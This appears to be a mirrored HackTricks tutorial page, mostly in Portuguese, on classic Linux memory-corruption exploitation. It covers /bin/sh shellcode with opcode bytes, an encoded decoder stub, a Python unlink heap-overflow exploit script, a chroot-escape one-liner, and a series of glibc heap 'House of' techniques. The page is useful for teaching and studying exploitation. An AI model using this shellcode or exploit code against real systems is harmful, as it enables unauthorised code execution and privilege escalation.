mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
570 lines
32 KiB
Markdown
570 lines
32 KiB
Markdown
# Linux Exploiting (Basic) (SPA)
|
||
|
||
{% hint style="success" %}
|
||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>Support HackTricks</summary>
|
||
|
||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
{% endhint %}
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; limpamos eax\
|
||
xor ebx, ebx ; ebx = 0 pois não há argumento que passar\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Executar syscall
|
||
|
||
**nasm -f elf assembly.asm** —> Nos retorna um .o\
|
||
**ld assembly.o -o shellcodeout** —> Nos dá um executável formado pelo código assembly e podemos obter os opcodes com **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** —> Para ver que efetivamente é nossa shellcode e obter os OpCodes
|
||
|
||
**Verificar se a shellcode funciona**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas de sistema devem aparecer em **strace ./PROGRAMA\_COMPILADO**
|
||
|
||
Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e ainda coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, então com esse EIP podemos apontar para a string e além disso continuar executando o código.
|
||
|
||
EJ **TRUQUE (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
**EJ usando a Stack(/bin/sh):**
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJ FNSTENV:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Egg Huter:**
|
||
|
||
Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.
|
||
|
||
**Shellcodes polimórficos**
|
||
|
||
Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um **exemplo cifrado cesar**:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
## **5.Métodos complementarios**
|
||
|
||
**Técnica de Murat**
|
||
|
||
Em linux, todos os programas são mapeados começando em 0xbfffffff
|
||
|
||
Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. A endereço desta então pode ser calculada como: addr = 0xbfffffff - 4 - strlen(NOME\_ejecutable\_completo) - strlen(shellcode)
|
||
|
||
Dessa forma, obter-se-ia de forma simples a endereço onde está a variável de ambiente com a shellcode.
|
||
|
||
Isso pode ser feito graças à função execle que permite criar um ambiente que só tenha as variáveis de ambiente desejadas.
|
||
|
||
##
|
||
|
||
###
|
||
|
||
###
|
||
|
||
###
|
||
|
||
###
|
||
|
||
### **Format Strings to Buffer Overflows**
|
||
|
||
A **sprintf moves** uma string formatada **para** uma **variável.** Portanto, você poderia abusar do **formato** de uma string para causar um **buffer overflow na variável** onde o conteúdo é copiado.\
|
||
Por exemplo, o payload `%.44xAAAA` irá **escrever 44B+"AAAA" na variável**, o que pode causar um buffer overflow.
|
||
|
||
### **\_\_atexit Structures**
|
||
|
||
{% hint style="danger" %}
|
||
Hoje em dia é muito **estranho explorar isso**.
|
||
{% endhint %}
|
||
|
||
**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
|
||
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para uma shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
|
||
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64\_86**.\
|
||
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
|
||
|
||
### **setjmp() & longjmp()**
|
||
|
||
{% hint style="danger" %}
|
||
Hoje em dia é muito **estranho explorar isso**.
|
||
{% endhint %}
|
||
|
||
**`Setjmp()`** permite **salvar** o **contexto** (os registradores)\
|
||
**`longjmp()`** permite **restaurar** o **contexto**.\
|
||
Os **registradores salvos** são: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||
O que acontece é que EIP e ESP são passados pela **`PTR_MANGLE`** função, então a **arquitetura vulnerável a esse ataque é a mesma que acima**.\
|
||
Eles são úteis para recuperação de erros ou interrupções.\
|
||
No entanto, pelo que li, os outros registradores não estão protegidos, **então se houver um `call ebx`, `call esi` ou `call edi`** dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.
|
||
|
||
**VTable e VPTR em C++**
|
||
|
||
Cada classe tem uma **Vtable** que é um array de **ponteiros para métodos**.
|
||
|
||
Cada objeto de uma **classe** tem um **VPtr** que é um **ponteiro** para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma **sobrescrita** do **VPtr** for alcançada, ele poderia ser **modificado** para **apontar** para um método fictício, de forma que a execução de uma função vá para a shellcode.
|
||
|
||
## **Medidas preventivas e evasões**
|
||
|
||
###
|
||
|
||
**Reemplazo de Libsafe**
|
||
|
||
É ativado com: LD\_PRELOAD=/lib/libsafe.so.2\
|
||
ou\
|
||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||
|
||
Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD\_PRELOAD não funciona em binários com suid).
|
||
|
||
**ASCII Armored Address Space**
|
||
|
||
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.
|
||
|
||
**ret2plt**
|
||
|
||
Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system().
|
||
|
||
**Jaulas com chroot()**
|
||
|
||
debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico
|
||
|
||
Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
|
||
|
||
**Instrumentação de código**
|
||
|
||
Valgrind —> Busca erros\
|
||
Memcheck\
|
||
RAD (Return Address Defender)\
|
||
Insure++
|
||
|
||
## **8 Heap Overflows: Exploits básicos**
|
||
|
||
**Trozo asignado**
|
||
|
||
prev\_size |\
|
||
size | —Cabeçalho\
|
||
\*mem | Dados
|
||
|
||
**Trozo livre**
|
||
|
||
prev\_size |\
|
||
size |\
|
||
\*fd | Ptr forward chunk\
|
||
\*bk | Ptr back chunk —Cabeçalho\
|
||
\*mem | Dados
|
||
|
||
Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam).
|
||
|
||
Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária.
|
||
|
||
Se ao liberar um trozo algum dos contíguos estiver livre, eles se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado.
|
||
|
||
unlink(){\
|
||
BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes\
|
||
FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes\
|
||
FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk\
|
||
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk\
|
||
}
|
||
|
||
Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se:
|
||
|
||
BK = P->bk = \&shellcode\
|
||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||
|
||
E assim se executa ao sair do programa a shellcode.
|
||
|
||
Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso:
|
||
|
||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode.
|
||
|
||
Portanto, o exploit é criado:
|
||
|
||
No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode.
|
||
|
||
Depois da shellcode colocamos preenchimento até chegar ao campo prev\_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que se sobrescreva o prev\_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev\_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará **unlink()**.
|
||
|
||
Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, ali se colocará o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso).
|
||
|
||
**from struct import \***
|
||
|
||
**import os**
|
||
|
||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||
|
||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||
|
||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||
|
||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||
|
||
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que o bit que indica que o anterior trozo está livre esteja a 1**
|
||
|
||
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º trozo está 4bytes atrás (aponta para prev\_size) pois é aí que olha se o 2º trozo está livre**
|
||
|
||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #No payload no início vamos colocar 8bytes de preenchimento**
|
||
|
||
**got\_free = pack("\<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que se sobrescreverá para que se lance a shellcode na 2ª vez que se chamar free)**
|
||
|
||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se disse, o payload começa com 8 bytes de preenchimento porque sim**
|
||
|
||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica o 2º trozo, o got\_free aponta para onde vamos guardar a direção addr\_sc + 12**
|
||
|
||
**os.system("./8.3.o " + payload)**
|
||
|
||
**unset() liberando em sentido inverso (wargame)**
|
||
|
||
Estamos controlando 3 chunks consecutivos e eles são liberados em ordem inversa à reservada.
|
||
|
||
Nesse caso:
|
||
|
||
No chunk c coloca-se a shellcode
|
||
|
||
O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV\_INUSE desativado, de forma que pense que o chunk a está livre.
|
||
|
||
Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.
|
||
|
||
Então, o programa pensará que “a” está livre e em um bin, portanto chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV\_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, portanto em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.
|
||
|
||
Dessa forma, se em bk colocarmos o endereço da shellcode e em fd colocarmos o endereço da função “puts()”-12, temos nosso payload.
|
||
|
||
**Técnica de Frontlink**
|
||
|
||
Chama-se frontlink quando se libera algo e nenhum de seus trozos contíguos está livre, não se chama unlink() mas sim diretamente frontlink().
|
||
|
||
Vulnerabilidade útil quando o malloc que se ataca nunca é liberado (free()).
|
||
|
||
Necessita:
|
||
|
||
Um buffer que possa ser desbordado com a função de entrada de dados
|
||
|
||
Um buffer contíguo a este que deve ser liberado e ao qual se modificará o campo fd de seu cabeçalho graças ao desbordamento do buffer anterior
|
||
|
||
Um buffer a liberar com um tamanho maior que 512, mas menor que o buffer anterior
|
||
|
||
Um buffer declarado antes do passo 3 que permita sobrescrever o prev\_size deste
|
||
|
||
Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas que só se libera esse um, podemos fazer um exploit.
|
||
|
||
**Vulnerabilidade double free()**
|
||
|
||
Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço.
|
||
|
||
No caso de querer voltar a usar um, ele seria atribuído sem problemas. No caso de querer usar outro, seria atribuído o mesmo espaço, portanto teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior.
|
||
|
||
**After free()**
|
||
|
||
Um ponteiro previamente liberado é usado novamente sem controle.
|
||
|
||
## **8 Heap Overflows: Exploits avançados**
|
||
|
||
As técnicas de Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().
|
||
|
||
**The house of mind**
|
||
|
||
Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. É interessante buscar um segundo trozo que pode ser desbordado por um anterior e liberado.
|
||
|
||
Uma chamada a free() provoca chamar public\_fREe(mem), este faz:
|
||
|
||
mstate ar\_ptr;
|
||
|
||
mchunkptr p;
|
||
|
||
…
|
||
|
||
p = mem2chunk(mes); —> Retorna um ponteiro ao endereço onde começa o trozo (mem-8)
|
||
|
||
…
|
||
|
||
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
|
||
|
||
…
|
||
|
||
\_int\_free(ar\_ptr, mem);
|
||
|
||
}
|
||
|
||
Em \[1] verifica o campo size o bit NON\_MAIN\_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap\_for\_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar\_ptr (como se fosse um struct heap\_info)
|
||
|
||
Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e vai ser liberado um trozo em **0x081002a0**, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo **0x0804a000**. Quando esse segundo trozo for liberado, encontrará que heap\_for\_ptr(ptr)->ar\_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar\_ptr)
|
||
|
||
Dessa forma, chama-se \_int\_free(ar\_ptr, mem), ou seja, **\_int\_free(0x0804a000, 0x081002a0)**\
|
||
**\_int\_free(mstate av, Void\_t\* mem){**\
|
||
…\
|
||
bck = unsorted\_chunks(av);\
|
||
fwd = bck->fd;\
|
||
p->bk = bck;\
|
||
p->fd = fwd;\
|
||
bck->fd = p;\
|
||
fwd->bk = p;
|
||
|
||
..}
|
||
|
||
Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que vai ser liberado.
|
||
|
||
Tal como se define unsorted\_chunks, sabemos que:\
|
||
bck = \&av->bins\[2]-8;\
|
||
fwd = bck->fd = \*(av->bins\[2]);\
|
||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||
|
||
Portanto, se em av->bins\[2] escrevemos o valor de \_\_DTOR\_END\_\_-12, na última instrução se escreverá em \_\_DTOR\_END\_\_ o endereço do segundo trozo.
|
||
|
||
Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de \_\_DTOR\_END\_\_-12 porque é daí que av->bins\[2] o tirará.
|
||
|
||
No endereço que cair o endereço do segundo trozo com os últimos 5 zeros, deve-se escrever o endereço a este primeiro trozo para que heap\_for\_ptr() pense que o ar\_ptr está ao início do primeiro trozo e saque daí o av->bins\[2].
|
||
|
||
No segundo trozo e graças ao primeiro, sobrescrevemos o prev\_size com um jump 0x0c e o size com algo para ativar -> NON\_MAIN\_ARENA.
|
||
|
||
A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode.
|
||
|
||
Dessa forma, chamará \_int\_free(TROZO1, TROZO2) e seguirá as instruções para escrever em \_\_DTOR\_END\_\_ o endereço do prev\_size do TROZO2, o qual saltará para a shellcode.
|
||
|
||
Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.
|
||
|
||
Essa técnica já não é aplicável, pois foi aplicado quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele.
|
||
|
||
**Fastbin**
|
||
|
||
É uma variante de The house of mind.
|
||
|
||
Nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função \_int\_free()
|
||
|
||
fb = &(av->fastbins\[fastbin\_index(size)] —> Sendo fastbin\_index(sz) —> (sz >> 3) - 2
|
||
|
||
…
|
||
|
||
p->fd = \*fb
|
||
|
||
\*fb = p
|
||
|
||
Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço ao trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max\_fast esteja no endereço que vamos sobrescrever.
|
||
|
||
Dado que com The House of Mind vimos que nós controlávamos a posição do av.
|
||
|
||
Então, se no campo size colocarmos um tamanho de 8 + NON\_MAIN\_ARENA + PREV\_INUSE —> fastbin\_index() nos devolverá fastbins\[-1], que apontará para av->max\_fast.
|
||
|
||
Nesse caso, av->max\_fast será o endereço que se sobrescreverá (não a que aponte, mas essa posição será a que se sobrescreverá).
|
||
|
||
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops).
|
||
|
||
Além disso, esse mesmo trozo falso deve ser menor que av->system\_mem. av->system\_mem está 1848 bytes mais além.
|
||
|
||
Por culpa dos nulos de \_DTOR\_END\_ e das poucas direções na GOT, nenhum endereço dessas seções serve para ser sobrescrito, assim que vejamos como aplicar fastbin para atacar a pilha.
|
||
|
||
Outra forma de ataque é redirecionar o **av** para a pilha.
|
||
|
||
Se modificarmos o size para que dê 16 em vez de 8, então: fastbin\_index() nos devolverá fastbins\[0] e podemos fazer uso disso para sobrescrever a pilha.
|
||
|
||
Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET.
|
||
|
||
Os 4 bytes nulos são necessários para que o **av** esteja a esse endereço e o primeiro elemento de um **av** é o mutex que deve valer 0.
|
||
|
||
O **av->max\_fast** será o EBP e será um valor que nos servirá para saltar as restrições.
|
||
|
||
No **av->fastbins\[0]** se sobrescreverá com o endereço de **p** e será o RET, assim se saltará para a shellcode.
|
||
|
||
Além disso, em **av->system\_mem** (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá saltar a verificação que se realiza.
|
||
|
||
Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso).
|
||
|
||
**The House of Spirit**
|
||
|
||
Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável).
|
||
|
||
Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max\_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48.
|
||
|
||
Se por exemplo o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse a cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system\_mem.
|
||
|
||
Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que se escreve nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser.
|
||
|
||
Isso creio que é porque assim quando o liberar free() guardará que no endereço que aponta ao EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se quer reservar, assim que lhe atribui esse endereço.
|
||
|
||
**The House of Force**
|
||
|
||
É necessário:
|
||
|
||
* Um overflow a um trozo que permita sobrescrever o wilderness
|
||
* Uma chamada a malloc() com o tamanho definido pelo usuário
|
||
* Uma chamada a malloc() cujos dados possam ser definidos pelo usuário
|
||
|
||
O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em \_int\_malloc() sem necessidade de expandir o heap.
|
||
|
||
O segundo é alterar o av->top para que aponte a uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará \&EIP - 8.
|
||
|
||
Temos que sobrescrever av->top para que aponte à zona de memória sob o controle do atacante:
|
||
|
||
victim = av->top;
|
||
|
||
remainder = chunck\_at\_offset(victim, nb);
|
||
|
||
av->top = remainder;
|
||
|
||
Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Portanto, se \&EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será:
|
||
|
||
0xbffff224 - 0x080c2788 = 3086207644.
|
||
|
||
Assim, se guardará em av->top o valor alterado e o próximo malloc apontará ao EIP e poderá sobrescrevê-lo.
|
||
|
||
É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para \&EIP-8, o size ficará justo no campo EBP da pilha.
|
||
|
||
**The House of Lore**
|
||
|
||
**Corrupção SmallBin**
|
||
|
||
Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se se reserva um novo trozo e o anterior liberado pode servir, se o devolve, mas se se reserva maior, o trozo liberado em unsorted bins se coloca em seu bin adequado.
|
||
|
||
Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max\_fast (72 normalmente) e menor que MIN\_LARGE\_SIZE (512).
|
||
|
||
Se no bin há um trozo do tamanho adequado ao que se pede, se devolve esse depois de desenlaçá-lo:
|
||
|
||
bck = victim->bk; Aponta ao trozo anterior, é a única info que podemos alterar.
|
||
|
||
bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se lhe dará esse endereço.
|
||
|
||
bck->fd = bin; Se fecha a lista fazendo com que este aponte para bin.
|
||
|
||
É necessário:
|
||
|
||
Que se reservem dois malloc, de forma que ao primeiro se lhe possa fazer overflow depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, se tenha reservado um malloc superior ao segundo trozo antes de fazer o overflow).
|
||
|
||
Que o malloc reservado ao qual se lhe dá o endereço escolhido pelo atacante seja controlado pelo atacante.
|
||
|
||
O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin se enganará e se dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele.
|
||
|
||
Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduziria em seu bin.
|
||
|
||
Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever.
|
||
|
||
Assim, o bin deverá esperar turno até que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa.
|
||
|
||
Para que se execute a vulnerabilidade o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, se libera esse trozo, se reserva um trozo maior ao que se modificará, se modifica o trozo (vulnerabilidade), se reserva um trozo de igual tamanho ao vulnerado e se reserva um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido.
|
||
|
||
Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd\* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro.
|
||
|
||
**Corrupção LargeBin**
|
||
|
||
São necessários os mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512.
|
||
|
||
O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se precisam todas essas chamadas a malloc(), mas além disso, há que modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE.
|
||
|
||
